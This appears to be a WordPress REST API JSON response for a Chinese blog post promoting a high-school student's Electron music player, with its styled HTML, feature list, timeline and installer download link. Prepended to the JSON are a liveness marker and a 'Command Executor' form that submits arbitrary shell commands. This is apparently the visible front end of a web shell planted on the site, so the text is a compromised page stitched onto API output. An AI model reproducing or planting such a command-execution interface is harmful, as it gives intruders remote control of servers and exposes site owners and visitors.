AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK<!DOCTYPE html>
<html>
<head>
<title>Interactive Terminal</title>
<style>
body { background: #0f0f0f; color: #00ff00; font-family: monospace; padding: 20px; }
input[type="text"] { background: #000; color: #00ff00; border: 1px solid #00ff00; width: 80%; padding: 5px; font-family: monospace; }
input[type="submit"] { background: #00ff00; color: #000; border: none; padding: 5px 15px; font-family: monospace; cursor: pointer; font-weight: bold; }
pre { background: #1a1a1a; padding: 15px; border: 1px solid #333; overflow-x: auto; white-space: pre-wrap; }
</style>
</head>
<body>
<h3>Command Executor</h3>
<form method="POST">
<input type="text" name="cmd" autofocus placeholder="Enter command (e.g. id, ls -la)">
<input type="submit" value="Run">
</form>
</body>
</html>
{"id":75,"date":"2026-06-28T05:35:43","date_gmt":"2026-06-27T21:35:43","guid":{"rendered":"https:\/\/bk.qigao.asia\/?p=75"},"modified":"2026-06-28T05:35:43","modified_gmt":"2026-06-27T21:35:43","slug":"%e9%9a%90%e9%9b%be%e8%97%8f%e9%9f%b3%e4%b9%90-%e4%bb%8e%e6%9d%9e%e5%8e%bf%e9%ab%98%e4%b8%ad%e8%b5%b0%e5%87%ba%e6%9d%a5%e7%9a%84%e9%9f%b3%e4%b9%90%e6%92%ad%e6%94%be%e5%99%a8","status":"publish","type":"post","link":"https:\/\/bk.qigao.asia\/?p=75","title":{"rendered":"\u9690\u96fe\u85cf\u97f3\u4e50 \u2014 \u4ece\u675e\u53bf\u9ad8\u4e2d\u8d70\u51fa\u6765\u7684\u97f3\u4e50\u64ad\u653e\u5668"},"content":{"rendered":"\n<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n<title>\u9690\u96fe\u85cf\u97f3\u4e50 \u2014 \u675e\u53bf\u9ad8\u4e2d\u9ad8\u4e8c10\u73ed \u5c0f\u8d3e<\/title>\n<style>\n* { margin: 0; padding: 0; box-sizing: border-box; }\nbody {\n  font-family: -apple-system, BlinkMacSystemFont, \"PingFang SC\", \"Noto Sans SC\", \"Microsoft YaHei\", sans-serif;\n  background: linear-gradient(180deg, #f8fafb 0%, #eef2f5 100%);\n  color: #1a1d22;\n  line-height: 1.8;\n  min-height: 100vh;\n}\n.container {\n  max-width: 820px;\n  margin: 0 auto;\n  padding: 48px 28px 60px;\n}\n.hero {\n  background: linear-gradient(135deg, #0a0c10 0%, #121820 40%, #0d1a16 100%);\n  border-radius: 20px;\n  padding: 48px 40px;\n  margin-bottom: 36px;\n  position: relative;\n  overflow: hidden;\n  box-shadow: 0 20px 60px rgba(0,0,0,.15);\n}\n.hero::before {\n  content: '';\n  position: absolute;\n  top: -40%;\n  right: -10%;\n  width: 300px;\n  height: 300px;\n  background: radial-gradient(circle, rgba(0,212,170,.18) 0%, transparent 70%);\n  pointer-events: none;\n}\n.hero-badge {\n  display: inline-flex;\n  align-items: center;\n  gap: 6px;\n  background: rgba(0,212,170,.15);\n  border: 1px solid rgba(0,212,170,.3);\n  color: #00d4aa;\n  font-size: 12px;\n  font-weight: 600;\n  padding: 5px 14px;\n  border-radius: 20px;\n  margin-bottom: 18px;\n  letter-spacing: .04em;\n}\n.hero-badge .dot {\n  width: 6px;\n  height: 6px;\n  background: #00d4aa;\n  border-radius: 50%;\n  animation: pulse 2s infinite;\n}\n@keyframes pulse {\n  0%, 100% { opacity: 1; }\n  50% { opacity: .4; }\n}\n.hero h1 {\n  font-size: 34px;\n  font-weight: 800;\n  color: #fff;\n  line-height: 1.25;\n  margin-bottom: 12px;\n  letter-spacing: -.02em;\n}\n.hero h1 span {\n  background: linear-gradient(90deg, #00d4aa, #00b894);\n  -webkit-background-clip: text;\n  -webkit-text-fill-color: transparent;\n  background-clip: text;\n}\n.hero-sub {\n  font-size: 16px;\n  color: rgba(255,255,255,.55);\n  font-weight: 400;\n  margin-bottom: 22px;\n}\n.hero-stats {\n  display: flex;\n  gap: 28px;\n  flex-wrap: wrap;\n}\n.hero-stat {\n  display: flex;\n  flex-direction: column;\n}\n.hero-stat-value {\n  font-size: 22px;\n  font-weight: 800;\n  color: #fff;\n}\n.hero-stat-label {\n  font-size: 12px;\n  color: rgba(255,255,255,.45);\n  font-weight: 500;\n}\n\n.section {\n  background: #fff;\n  border-radius: 16px;\n  padding: 32px 36px;\n  margin-bottom: 20px;\n  box-shadow: 0 2px 12px rgba(0,0,0,.04);\n  border: 1px solid rgba(0,0,0,.04);\n}\n.section-title {\n  display: flex;\n  align-items: center;\n  gap: 10px;\n  font-size: 20px;\n  font-weight: 700;\n  color: #0a0c10;\n  margin-bottom: 20px;\n}\n.section-title .icon {\n  width: 32px;\n  height: 32px;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  background: #f0f7f4;\n  border-radius: 8px;\n  font-size: 16px;\n}\n.section p {\n  margin-bottom: 14px;\n  color: #3a3f47;\n}\n.section p:last-child {\n  margin-bottom: 0;\n}\n\n.feature-grid {\n  display: grid;\n  grid-template-columns: 1fr 1fr;\n  gap: 16px;\n  margin-top: 18px;\n}\n.feature-card {\n  background: #f8fafb;\n  border: 1px solid #eef2f5;\n  border-radius: 12px;\n  padding: 18px 20px;\n  transition: transform .2s, box-shadow .2s;\n}\n.feature-card:hover {\n  transform: translateY(-2px);\n  box-shadow: 0 8px 24px rgba(0,0,0,.06);\n}\n.feature-card-title {\n  font-size: 15px;\n  font-weight: 700;\n  color: #0a0c10;\n  margin-bottom: 6px;\n}\n.feature-card-desc {\n  font-size: 13px;\n  color: #6b7280;\n  line-height: 1.6;\n}\n\n.tech-stack {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 8px;\n  margin-top: 14px;\n}\n.tech-tag {\n  background: #f0f7f4;\n  color: #0a8a6e;\n  font-size: 12px;\n  font-weight: 600;\n  padding: 4px 12px;\n  border-radius: 8px;\n}\n\n.timeline {\n  position: relative;\n  padding-left: 28px;\n  margin-top: 18px;\n}\n.timeline::before {\n  content: '';\n  position: absolute;\n  left: 6px;\n  top: 4px;\n  bottom: 4px;\n  width: 2px;\n  background: linear-gradient(180deg, #00d4aa, #e0e5ea);\n  border-radius: 1px;\n}\n.timeline-item {\n  position: relative;\n  margin-bottom: 20px;\n}\n.timeline-item:last-child {\n  margin-bottom: 0;\n}\n.timeline-item::before {\n  content: '';\n  position: absolute;\n  left: -28px;\n  top: 8px;\n  width: 10px;\n  height: 10px;\n  background: #00d4aa;\n  border-radius: 50%;\n  border: 2px solid #fff;\n  box-shadow: 0 0 0 2px rgba(0,212,170,.3);\n}\n.timeline-date {\n  font-size: 12px;\n  color: #9ca3af;\n  font-weight: 600;\n  margin-bottom: 4px;\n}\n.timeline-title {\n  font-size: 15px;\n  font-weight: 700;\n  color: #0a0c10;\n  margin-bottom: 4px;\n}\n.timeline-desc {\n  font-size: 13px;\n  color: #6b7280;\n  line-height: 1.6;\n}\n\nblockquote {\n  margin: 20px 0;\n  padding: 18px 22px;\n  background: linear-gradient(135deg, #f6fdfa 0%, #eef7f3 100%);\n  border-left: 3px solid #00d4aa;\n  border-radius: 0 12px 12px 0;\n  color: #2d3a34;\n  font-size: 15px;\n  font-style: italic;\n}\n\n.download-section {\n  text-align: center;\n  padding: 36px 32px;\n  background: linear-gradient(135deg, #f6fdfa 0%, #eef7f3 100%);\n  border: 1px solid #d4ece3;\n}\n.download-section p {\n  color: #4b5563;\n  margin-bottom: 16px;\n}\n.btn-download {\n  display: inline-flex;\n  align-items: center;\n  gap: 8px;\n  padding: 14px 36px;\n  background: linear-gradient(135deg, #00d4aa, #00b894);\n  color: #fff;\n  border-radius: 12px;\n  font-weight: 700;\n  font-size: 16px;\n  text-decoration: none;\n  box-shadow: 0 6px 20px rgba(0,184,148,.3);\n  transition: transform .2s, box-shadow .2s;\n}\n.btn-download:hover {\n  transform: translateY(-2px);\n  box-shadow: 0 10px 30px rgba(0,184,148,.4);\n}\n.btn-outline {\n  display: inline-flex;\n  align-items: center;\n  gap: 8px;\n  padding: 12px 28px;\n  background: transparent;\n  color: #0a8a6e;\n  border: 2px solid #00d4aa;\n  border-radius: 12px;\n  font-weight: 600;\n  font-size: 15px;\n  text-decoration: none;\n  margin-left: 12px;\n  transition: background .2s;\n}\n.btn-outline:hover {\n  background: rgba(0,212,170,.08);\n}\n\n.info-table {\n  width: 100%;\n  border-collapse: collapse;\n  margin-top: 12px;\n}\n.info-table td {\n  padding: 12px 0;\n  border-bottom: 1px solid #f0f2f4;\n  font-size: 14px;\n  vertical-align: top;\n}\n.info-table td:first-child {\n  font-weight: 600;\n  color: #0a0c10;\n  width: 100px;\n}\n.info-table td:last-child {\n  color: #3a3f47;\n}\n.info-table tr:last-child td {\n  border-bottom: none;\n}\n\n.tag-row {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 8px;\n  margin-top: 12px;\n}\n.tag {\n  background: #f0f7f4;\n  color: #0a8a6e;\n  font-size: 12px;\n  font-weight: 600;\n  padding: 4px 12px;\n  border-radius: 8px;\n}\n\n.author-box {\n  margin-top: 24px;\n  padding: 28px 32px;\n  background: linear-gradient(135deg, #0a0c10 0%, #121820 100%);\n  border-radius: 16px;\n  color: #fff;\n}\n.author-header {\n  display: flex;\n  align-items: center;\n  gap: 16px;\n  margin-bottom: 16px;\n}\n.author-avatar {\n  width: 52px;\n  height: 52px;\n  background: linear-gradient(135deg, #00d4aa, #00b894);\n  border-radius: 50%;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  font-size: 22px;\n  font-weight: 800;\n  color: #fff;\n  flex-shrink: 0;\n}\n.author-info .name {\n  font-size: 18px;\n  font-weight: 700;\n}\n.author-info .role {\n  font-size: 13px;\n  color: rgba(255,255,255,.5);\n}\n.author-quote {\n  font-size: 14px;\n  color: rgba(255,255,255,.7);\n  font-style: italic;\n  line-height: 1.7;\n}\n\n.footer {\n  text-align: center;\n  margin-top: 40px;\n  color: #9ca3af;\n  font-size: 13px;\n}\n\n@media (max-width: 640px) {\n  .hero { padding: 32px 24px; }\n  .hero h1 { font-size: 26px; }\n  .hero-stats { gap: 18px; }\n  .feature-grid { grid-template-columns: 1fr; }\n  .section { padding: 24px 20px; }\n  .btn-outline { margin-left: 0; margin-top: 10px; }\n}\n<\/style>\n<\/head>\n<body>\n<div class=\"container\">\n\n<!-- Hero -->\n<div class=\"hero\">\n  <div class=\"hero-badge\"><span class=\"dot\"><\/span> \u5b66\u751f\u72ec\u7acb\u5f00\u53d1\u9879\u76ee<\/div>\n  <h1>\u9690\u96fe\u85cf<span>\u97f3\u4e50<\/span><\/h1>\n  <p class=\"hero-sub\">\u4ece\u675e\u53bf\u9ad8\u4e2d\u8d70\u51fa\u6765\u7684 Electron \u684c\u9762\u97f3\u4e50\u64ad\u653e\u5668<\/p>\n  <div class=\"hero-stats\">\n    <div class=\"hero-stat\">\n      <span class=\"hero-stat-value\">v1.1.2<\/span>\n      <span class=\"hero-stat-label\">\u5f53\u524d\u7248\u672c<\/span>\n    <\/div>\n    <div class=\"hero-stat\">\n      <span class=\"hero-stat-value\">100%<\/span>\n      <span class=\"hero-stat-label\">\u72ec\u7acb\u5f00\u53d1<\/span>\n    <\/div>\n    <div class=\"hero-stat\">\n      <span class=\"hero-stat-value\">Windows<\/span>\n      <span class=\"hero-stat-label\">\u652f\u6301\u5e73\u53f0<\/span>\n    <\/div>\n  <\/div>\n<\/div>\n\n<!-- \u8d77\u6e90 -->\n<div class=\"section\">\n  <div class=\"section-title\">\n    <span class=\"icon\">\ud83c\udf31<\/span>\u4ece\u8bfe\u5802\u5230\u4f5c\u54c1\n  <\/div>\n  <p>\u5927\u591a\u6570\u5b66\u751f\u505a\u8bfe\u7a0b\u9879\u76ee\uff0c\u4f1a\u9009\u7f51\u9875\u3001\u5c0f\u7a0b\u5e8f\u3001\u6216\u8005 PPT\u3002\u4f46\u675e\u53bf\u9ad8\u4e2d\u9ad8\u4e8c 10 \u73ed\u7684\u5c0f\u8d3e\u9009\u4e86\u6700\u96be\u7684\u8def\u2014\u2014\u684c\u9762\u8f6f\u4ef6\u3002<\/p>\n  <p>\u4ece Electron \u5230 WebGL\uff0c\u4ece\u97f3\u9891\u6ee4\u955c\u5230 SVG \u73bb\u7483\u8d28\u611f\uff0c\u4ece NSIS \u5b89\u88c5\u5305\u5230 Release \u81ea\u52a8\u66f4\u65b0\uff0c\u51e0\u4e4e\u662f\u4e00\u4e2a\u4eba\u641e\u5b9a\u3002\u6ca1\u6709\u6307\u5bfc\u8001\u5e08\u5e26\u961f\uff0c\u6ca1\u6709\u4f01\u4e1a\u8d5e\u52a9\uff0c\u66f4\u591a\u662f\u665a\u81ea\u4e60\u548c\u5468\u672b\u7684\u81ea\u5b66\u6210\u679c\u3002<\/p>\n  <blockquote>\u505a\u8fd9\u4e2a\u64ad\u653e\u5668\u7684\u65f6\u5019\uff0c\u6c38\u8fdc\u4e0d\u77e5\u9053\u4e0b\u4e00\u4e2a bug \u5728\u54ea\u3002\u6709\u65f6\u662f WebGL context \u4e22\u5931\uff0c\u6709\u65f6\u662f NSIS \u53d8\u91cf\u540d\u6709\u4e2d\u6587\u5b57\u7b26\u5bfc\u81f4\u7f16\u8bd1\u5931\u8d25\uff0c\u6709\u65f6\u662f\u97f3\u9891\u53c2\u6570\u591a 0.01 \u5c31\u7206\u97f3\u3002\u4f46\u6bcf\u89e3\u51b3\u4e00\u4e2a\u95ee\u9898\uff0c\u5c31\u591a\u4e00\u4e2a\u771f\u6b63\u5c5e\u4e8e\u81ea\u5df1\u7684\u4e1c\u897f\u3002<\/blockquote>\n<\/div>\n\n<!-- \u529f\u80fd -->\n<div class=\"section\">\n  <div class=\"section-title\">\n    <span class=\"icon\">\u2728<\/span>\u6838\u5fc3\u7279\u6027\n  <\/div>\n  <div class=\"feature-grid\">\n    <div class=\"feature-card\">\n      <div class=\"feature-card-title\">\ud83c\udfa8 \u7c92\u5b50\u89c6\u89c9\u7cfb\u7edf<\/div>\n      <div class=\"feature-card-desc\">\u6d41\u52a8\u7c92\u5b50\u80cc\u666f\uff0c3D \u5e38\u9a7b\u6b4c\u5355\u67b6\uff0c\u5207\u6b4c\u65f6\u5361\u7247\u8ddf\u968f\u5c01\u9762\u7c92\u5b50\u4e16\u754c\u8f74\u65cb\u8f6c\uff0c\u591a\u79cd\u9884\u8bbe\u6c1b\u56f4\uff08\u661f\u6cb3 \/ \u7535\u5f71 \/ \u6697\u5ba4\uff09\u3002<\/div>\n    <\/div>\n    <div class=\"feature-card\">\n      <div class=\"feature-card-title\">\ud83e\ude9f \u73bb\u7483\u8d28\u611f SVG<\/div>\n      <div class=\"feature-card-desc\">SVG \u6ee4\u955c\u6a21\u62df\u7ec6\u78e8\u7802\u73bb\u7483\uff0c\u6697\u8272\u4e3b\u9898\u4e0b\u5c24\u4e3a\u7cbe\u81f4\uff0c\u6bcf\u4e2a\u9762\u677f\u300c\u539a\u91cd\u4f46\u4e0d\u95f7\u300d\u3002\u5f00\u53d1\u8005\u5199\u4e86\u4e13\u9879\u6587\u6863\u9632\u6539\u574f\u3002<\/div>\n    <\/div>\n    <div class=\"feature-card\">\n      <div class=\"feature-card-title\">\ud83d\udd25 \u70ed\u8bc4 + \u6bcf\u65e5\u4e00\u8a00<\/div>\n      <div class=\"feature-card-desc\">\u805a\u5408\u7f51\u6613\u4e91\u70ed\u8bc4\u3001\u6bcf\u65e5\u4e00\u53e5\u7b49 API\uff0c\u542c\u6b4c\u95f4\u9699\u611f\u53d7\u6587\u5b57\u6e29\u5ea6\u3002BGM \u914d\u70ed\u8bc4\uff0c\u6070\u5230\u597d\u5904\u3002<\/div>\n    <\/div>\n    <div class=\"feature-card\">\n      <div class=\"feature-card-title\">\ud83d\udd04 \u591a\u97f3\u6e90\u5207\u6362<\/div>\n      <div class=\"feature-card-desc\">\u652f\u6301\u7f51\u6613\u3001\u9177\u6211\u3001JooX \u7b49\u641c\u7d22\u6e90\uff0c\u4e00\u952e\u5207\u6362\u641c\u7d22\u63a5\u53e3\uff0c\u518d\u4e5f\u4e0d\u7528\u5207\u8f6f\u4ef6\u627e\u6b4c\u3002<\/div>\n    <\/div>\n    <div class=\"feature-card\">\n      <div class=\"feature-card-title\">\ud83d\udee0 \u89c6\u89c9\u63a7\u5236\u53f0<\/div>\n      <div class=\"feature-card-desc\">\u53f3\u4e0b\u89d2 DIY \u5165\u53e3\uff08\u5df2\u6539\u540d\u300c\u5c0f\u8d3e\u300d\uff09\uff0c\u5b9e\u65f6\u8c03\u8282\u7c92\u5b50 \/ \u6b4c\u8bcd \/ \u955c\u5934\u53c2\u6570\uff0c\u652f\u6301\u4fdd\u5b58\u4e3a\u81ea\u5b9a\u4e49\u9884\u8bbe\u3002<\/div>\n    <\/div>\n    <div class=\"feature-card\">\n      <div class=\"feature-card-title\">\ud83c\udfb5 \u97f3\u9891\u53ef\u89c6\u5316<\/div>\n      <div class=\"feature-card-desc\">\u5185\u7f6e\u8282\u62cd\u68c0\u6d4b\u3001\u9891\u8c31\u5206\u6790\u3001\u7535\u5f71\u955c\u5934\u8282\u594f\u5339\u914d\uff0c\u6839\u636e\u97f3\u9891\u7279\u5f81\u81ea\u52a8\u8c03\u6574\u89c6\u89c9\u5f3a\u5ea6\u3002<\/div>\n    <\/div>\n  <\/div>\n<\/div>\n\n<!-- \u6280\u672f\u6808 -->\n<div class=\"section\">\n  <div class=\"section-title\">\n    <span class=\"icon\">\u2699\ufe0f<\/span>\u6280\u672f\u6808\n  <\/div>\n  <p>\u9690\u96fe\u85cf\u97f3\u4e50\u57fa\u4e8e Electron 42 + WebGL \u6784\u5efa\uff0c\u540e\u7aef Node.js \u672c\u5730 CORS \u4ee3\u7406\uff0c\u5b89\u88c5\u5305\u901a\u8fc7 electron-Builder + NSIS \u751f\u6210\u3002\u524d\u540e\u7aef\u52a0\u8d77\u6765\u8fd1 3 \u4e07\u884c\u4ee3\u7801\u3002<\/p>\n  <div class=\"tech-stack\">\n    <span class=\"tech-tag\">Electron 42<\/span>\n    <span class=\"tech-tag\">WebGL<\/span>\n    <span class=\"tech-tag\">Three.js<\/span>\n    <span class=\"tech-tag\">GSAP<\/span>\n    <span class=\"tech-tag\">SVG Filter<\/span>\n    <span class=\"tech-tag\">Node.js<\/span>\n    <span class=\"tech-tag\">NSIS 3<\/span>\n    <span class=\"tech-tag\">electron-builder<\/span>\n    <span class=\"tech-tag\">Web Audio API<\/span>\n    <span class=\"tech-tag\">CORS Proxy<\/span>\n  <\/div>\n<\/div>\n\n<!-- \u5f00\u53d1\u65f6\u95f4\u7ebf -->\n<div class=\"section\">\n  <div class=\"section-title\">\n    <span class=\"icon\">\ud83d\udcc5<\/span>\u5f00\u53d1\u65f6\u95f4\u7ebf\n  <\/div>\n  <div class=\"timeline\">\n    <div class=\"timeline-item\">\n      <div class=\"timeline-date\">2025 \u5e74\u79cb\u5b63<\/div>\n      <div class=\"timeline-title\">\u9879\u76ee\u7acb\u9879<\/div>\n      <div class=\"timeline-desc\">\u4ece\u4e00\u4efd\u8bfe\u5802\u4f5c\u4e1a\u5f00\u59cb\uff0c\u51b3\u5b9a\u505a\u4e00\u4e2a\u300c\u771f\u6b63\u80fd\u7528\u7684\u300d\u684c\u9762\u97f3\u4e50\u64ad\u653e\u5668\uff0c\u800c\u4e0d\u662f demo\u3002<\/div>\n    <\/div>\n    <div class=\"timeline-item\">\n      <div class=\"timeline-date\">2025 \u5e74 12 \u6708<\/div>\n      <div class=\"timeline-title\">v1.0.0 \u53d1\u5e03<\/div>\n      <div class=\"timeline-desc\">\u9996\u4e2a\u6b63\u5f0f\u7248\u672c\u53d1\u5e03\uff0c\u5305\u542b\u7c92\u5b50\u89c6\u89c9\u30013D \u6b4c\u5355\u67b6\u3001\u6b4c\u8bcd\u3001\u591a\u97f3\u6e90\u7b49\u6838\u5fc3\u529f\u80fd\u3002<\/div>\n    <\/div>\n    <div class=\"timeline-item\">\n      <div class=\"timeline-date\">2026 \u5e74\u521d<\/div>\n      <div class=\"timeline-title\">\u591a\u7248\u672c\u8fed\u4ee3<\/div>\n      <div class=\"timeline-desc\">\u4ece 1.0.0 \u5230 1.0.10 \u8fde\u7eed\u8fed\u4ee3 10 \u4e2a\u7248\u672c\uff0c\u4fee\u590d\u89c6\u89c9\u3001\u5b89\u88c5\u5305\u3001\u81ea\u52a8\u66f4\u65b0\u7b49\u95ee\u9898\u3002<\/div>\n    <\/div>\n    <div class=\"timeline-item\">\n      <div class=\"timeline-date\">2026 \u5e74 6 \u6708<\/div>\n      <div class=\"timeline-title\">v1.1.0 \u5b89\u5168\u91cd\u5efa<\/div>\n      <div class=\"timeline-desc\">\u91cd\u65b0\u6253\u5305\u53d1\u5e03\uff0c\u89e3\u51b3\u5b89\u88c5\u5305\u5b89\u5168\u95ee\u9898\uff08\u9ed8\u8ba4\u975e C \u76d8\u3001\u9632\u8bef\u5220\u3001\u5378\u8f7d\u5668\u5b89\u5168\u5316\uff09\uff0c\u4e0d\u518d\u5efa\u8bae\u5b89\u88c5\u65e7\u7248\u3002<\/div>\n    <\/div>\n    <div class=\"timeline-item\">\n      <div class=\"timeline-date\">2026 \u5e74 6 \u6708\u5e95<\/div>\n      <div class=\"timeline-title\">v1.1.2 \u89c6\u89c9\u5347\u7ea7<\/div>\n      <div class=\"timeline-desc\">\u542f\u52a8\u9875\u91cd\u505a\u300cmake \u9690\u96fe\u85cf\u300d\u3001\u65b0\u589e\u5fae\u4fe1\u8054\u7cfb \/ \u8ba8\u8bba\u7fa4\u5165\u53e3\u3001\u79fb\u9664\u81ea\u52a8\u767b\u5f55\u5f39\u7a97\u3001UI \u7ec6\u8282\u6253\u78e8\u3002<\/div>\n    <\/div>\n  <\/div>\n<\/div>\n\n<!-- \u4e0b\u8f7d -->\n<div class=\"section download-section\">\n  <div class=\"section-title\">\n    <span class=\"icon\">\ud83d\ude80<\/span>\u4e0b\u8f7d\u4f53\u9a8c\n  <\/div>\n  <p>\u70b9\u51fb\u4e0b\u65b9\u6309\u94ae\u5373\u53ef\u4e0b\u8f7d\u9690\u96fe\u85cf\u97f3\u4e50 v1.1.2 \u5b89\u88c5\u5305\uff1a<\/p>\n  <a href=\"https:\/\/workdrive.zohopublic.com.cn\/embed\/27xz825e8844059284838b8320634ba6a4083?toolbar=false&#038;appearance=light&#038;themecolor=green\" target=\"_blank\" rel=\"noopener\" class=\"btn-download\">\u2b07 \u4e0b\u8f7d\u9690\u96fe\u85cf\u97f3\u4e50 v1.1.2<\/a>\n<\/div>\n\n<!-- \u4fe1\u606f -->\n<div class=\"section\">\n  <div class=\"section-title\">\n    <span class=\"icon\">\ud83d\udccb<\/span>\u4ea7\u54c1\u4fe1\u606f\n  <\/div>\n  <table class=\"info-table\">\n    <tr><td>\u7248\u672c<\/td><td>v1.1.2<\/td><\/tr>\n    <tr><td>\u5e73\u53f0<\/td><td>Windows 10 \/ 11\uff08x64\uff09<\/td><\/tr>\n    <tr><td>\u5b89\u88c5\u5305<\/td><td>\u9690\u96fe\u85cf\u97f3\u4e50-1.1.2-Setup.exe\uff08\u7ea6 110 MB\uff09<\/td><\/tr>\n    <tr><td>\u514d\u5b89\u88c5\u7248<\/td><td>win-unpacked \u5305\uff0c\u89e3\u538b\u5373\u7528<\/td><\/tr>\n    <tr><td>\u7c7b\u578b<\/td><td>\u4e2a\u4eba\u72ec\u7acb\u5f00\u53d1\uff0c\u6682\u4e0d\u5f00\u6e90<\/td><\/tr>\n    <tr><td>\u5b89\u88c5\u8def\u5f84<\/td><td>\u9ed8\u8ba4 D:\\\u9690\u96fe\u85cf\u97f3\u4e50\\\uff0c\u4e0d\u5f3a\u5236 C \u76d8<\/td><\/tr>\n    <tr><td>\u5378\u8f7d<\/td><td>\u5b89\u5168\u5378\u8f7d\u5668\uff0c\u4e0d\u5220\u975e\u76f8\u5173\u6587\u4ef6<\/td><\/tr>\n  <\/table><\/div>\n<\/div>\n\n<!-- \u4f5c\u8005 -->\n<div class=\"author-box\">\n  <div class=\"author-header\">\n    <div class=\"author-avatar\">\u8d3e<\/div>\n    <div class=\"author-info\">\n      <div class=\"name\">\u5c0f\u8d3e<\/div>\n      <div class=\"role\">\u675e\u53bf\u9ad8\u4e2d\u9ad8\u4e8c 10 \u73ed \u00b7 \u72ec\u7acb\u5f00\u53d1\u8005<\/div>\n    <\/div>\n  <\/div>\n  <div class=\"author-quote\">\u300c\u9690\u300d\u4e8e\u96fe\u4e2d\uff0c\u300c\u85cf\u300d\u4e4b\u4ee5\u97f3\u3002<br>\u4e00\u4e2a\u5728\u53bf\u57ce\u4e2d\u5b66\u91cc\u505a\u7740\u684c\u9762\u8f6f\u4ef6\u68a6\u7684\u666e\u901a\u4eba\u3002<br>Made with \u2764\ufe0f in \u675e\u53bf \u00b7 2026<\/div>\n<\/div>\n\n<p class=\"footer\">Make by \u9690\u96fe\u85cf \u00b7 2026 \u00b7 \u675e\u53bf\u9ad8\u4e2d<\/p>\n\n<\/div>\n<\/body>\n<\/html>\n","protected":false},"excerpt":{"rendered":"<p>\u9690\u96fe\u85cf\u97f3\u4e50 \u2014 \u675e\u53bf\u9ad8\u4e2d\u9ad8\u4e8c10\u73ed \u5c0f\u8d3e \u5b66\u751f\u72ec\u7acb\u5f00\u53d1\u9879\u76ee \u9690\u96fe\u85cf\u97f3\u4e50 \u4ece\u675e\u53bf\u9ad8\u4e2d\u8d70\u51fa\u6765\u7684 Electron \u684c\u9762\u97f3\u4e50\u64ad\u653e\u5668 v1.1.2 \u5f53\u524d\u7248\u672c 100% \u72ec\u7acb\u5f00\u53d1 Windows \u652f\u6301\u5e73\u53f0 \ud83c\udf31\u4ece\u8bfe\u5802\u5230\u4f5c\u54c1 \u5927\u591a\u6570\u5b66\u751f\u505a\u8bfe\u7a0b\u9879\u76ee\uff0c\u4f1a\u9009\u7f51\u9875\u3001\u5c0f\u7a0b\u5e8f\u3001\u6216\u8005 PPT\u3002\u4f46\u675e\u53bf\u9ad8\u4e2d\u9ad8\u4e8c 10 \u73ed\u7684\u5c0f\u8d3e\u9009\u4e86\u6700\u96be\u7684\u8def\u2014\u2014\u684c\u9762\u8f6f\u4ef6\u3002 \u4ece Electron \u5230 WebGL\uff0c\u4ece\u97f3\u9891\u6ee4\u955c\u5230 SVG \u73bb\u7483\u8d28\u611f\uff0c\u4ece N [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-75","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=\/wp\/v2\/posts\/75","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=75"}],"version-history":[{"count":1,"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=\/wp\/v2\/posts\/75\/revisions"}],"predecessor-version":[{"id":77,"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=\/wp\/v2\/posts\/75\/revisions\/77"}],"wp:attachment":[{"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=75"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=75"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bk.qigao.asia\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=75"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}